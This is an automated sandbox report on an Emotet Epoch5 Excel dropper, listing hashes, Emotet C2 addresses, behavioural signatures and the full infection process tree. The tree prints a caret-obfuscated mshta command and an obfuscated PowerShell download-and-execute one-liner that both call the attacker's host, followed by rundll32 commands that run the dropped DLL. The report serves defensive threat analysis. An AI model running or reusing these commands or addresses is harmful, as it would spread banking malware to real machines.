emotet | 99d08690066d983a9f25398dc935971a0a0fe83cca2cac47e24dd51e006ef55e

General

Target

tmp6wwm8zfj.xls
Size

36KB
MD5

2f15f9e3e747a2bcb6fb25f40a35b4c3
SHA1

501ba5824ea7612f8c40836b83c16696052d0026
SHA256

99d08690066d983a9f25398dc935971a0a0fe83cca2cac47e24dd51e006ef55e
SHA512

5216cc823e49fb9aa75f16e687e13e87951d9583ace018945f716c1c2b82cf837c584f00bd3eb49572912ca7b2c8ae3047a1e3201e442e4fd7acc9fddb8873b3

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	424	2600	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

30 1924 mshta.exe
39 1496 powershell.exe
41 1496 powershell.exe
43 1496 powershell.exe
48 2768 rundll32.exe
50 2768 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1192 rundll32.exe
916 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Vdmnbmqw\iqiirruf.lhi rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1236 1924 WerFault.exe mshta.exe

flow	pid	process
30	1924	mshta.exe
39	1496	powershell.exe
41	1496	powershell.exe
43	1496	powershell.exe
48	2768	rundll32.exe
50	2768	rundll32.exe

pid	process
1192	rundll32.exe
916	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Vdmnbmqw\iqiirruf.lhi	rundll32.exe

pid	pid_target	process	target process
1236	1924	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2600 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1496	powershell.exe
1496	powershell.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1496	powershell.exe
2768	rundll32.exe
2768	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1496 powershell.exe
Token: SeDebugPrivilege 1236 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1236	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2600 wrote to memory of 424	2600	EXCEL.EXE	CMD.EXE
PID 2600 wrote to memory of 424	2600	EXCEL.EXE	CMD.EXE
PID 424 wrote to memory of 1924	424	CMD.EXE	mshta.exe
PID 424 wrote to memory of 1924	424	CMD.EXE	mshta.exe
PID 1924 wrote to memory of 1496	1924	mshta.exe	powershell.exe
PID 1924 wrote to memory of 1496	1924	mshta.exe	powershell.exe
PID 1496 wrote to memory of 1152	1496	powershell.exe	cmd.exe
PID 1496 wrote to memory of 1152	1496	powershell.exe	cmd.exe
PID 1152 wrote to memory of 1192	1152	cmd.exe	rundll32.exe
PID 1152 wrote to memory of 1192	1152	cmd.exe	rundll32.exe
PID 1152 wrote to memory of 1192	1152	cmd.exe	rundll32.exe
PID 1192 wrote to memory of 916	1192	rundll32.exe	rundll32.exe
PID 1192 wrote to memory of 916	1192	rundll32.exe	rundll32.exe
PID 1192 wrote to memory of 916	1192	rundll32.exe	rundll32.exe
PID 916 wrote to memory of 2620	916	rundll32.exe	rundll32.exe
PID 916 wrote to memory of 2620	916	rundll32.exe	rundll32.exe
PID 916 wrote to memory of 2620	916	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2768	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2768	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2768	2620	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp6wwm8zfj.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2600

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:424

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1192

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vdmnbmqw\iqiirruf.lhi",diuIfiVHb
8⤵
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vdmnbmqw\iqiirruf.lhi",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2768

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1924 -s 1660
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
memory/916-348-0x00000000058A0000-0x00000000058C7000-memory.dmp

Filesize
156KB

Download
memory/916-344-0x00000000056E0000-0x0000000005707000-memory.dmp

Filesize
156KB

Download
memory/916-342-0x0000000005680000-0x00000000056A7000-memory.dmp

Filesize
156KB

Download
memory/916-340-0x0000000005620000-0x0000000005647000-memory.dmp

Filesize
156KB

Download
memory/916-338-0x00000000054C0000-0x00000000054E7000-memory.dmp

Filesize
156KB

Download
memory/916-336-0x00000000053D0000-0x00000000053F7000-memory.dmp

Filesize
156KB

Download
memory/916-333-0x0000000004DB0000-0x0000000004DD7000-memory.dmp

Filesize
156KB

Download
memory/1192-330-0x0000000004921000-0x0000000004944000-memory.dmp

Filesize
140KB

Download
memory/1496-275-0x00000115EFC73000-0x00000115EFC75000-memory.dmp

Filesize
8KB

Download
memory/1496-272-0x00000115EFA60000-0x00000115EFA82000-memory.dmp

Filesize
136KB

Download
memory/1496-304-0x00000115F0370000-0x00000115F03E6000-memory.dmp

Filesize
472KB

Download
memory/1496-293-0x00000115EFC20000-0x00000115EFC5C000-memory.dmp

Filesize
240KB

Download
memory/1496-309-0x00000115EFC76000-0x00000115EFC78000-memory.dmp

Filesize
8KB

Download
memory/1496-273-0x00000115EFC70000-0x00000115EFC72000-memory.dmp

Filesize
8KB

Download
memory/2600-116-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-387-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-128-0x00007FFEF1380000-0x00007FFEF1390000-memory.dmp

Filesize
64KB

Download
memory/2600-119-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-118-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-117-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-115-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-390-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-389-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-388-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2600-129-0x00007FFEF1380000-0x00007FFEF1390000-memory.dmp

Filesize
64KB

Download
memory/2620-345-0x0000000004E20000-0x0000000004E47000-memory.dmp

Filesize
156KB

Download
memory/2768-356-0x0000000004E40000-0x0000000004E67000-memory.dmp

Filesize
156KB

Download
memory/2768-360-0x0000000005010000-0x0000000005037000-memory.dmp

Filesize
156KB

Download
memory/2768-362-0x0000000005110000-0x0000000005137000-memory.dmp

Filesize
156KB

Download
memory/2768-364-0x0000000005300000-0x0000000005327000-memory.dmp

Filesize
156KB

Download
memory/2768-366-0x0000000005380000-0x00000000053A7000-memory.dmp

Filesize
156KB

Download
memory/2768-358-0x0000000004F20000-0x0000000004F47000-memory.dmp

Filesize
156KB

Download
memory/2768-354-0x0000000004D60000-0x0000000004D87000-memory.dmp

Filesize
156KB

Download
memory/2768-352-0x0000000004AE0000-0x0000000004B07000-memory.dmp

Filesize
156KB

Download
memory/2768-349-0x0000000004540000-0x0000000004567000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads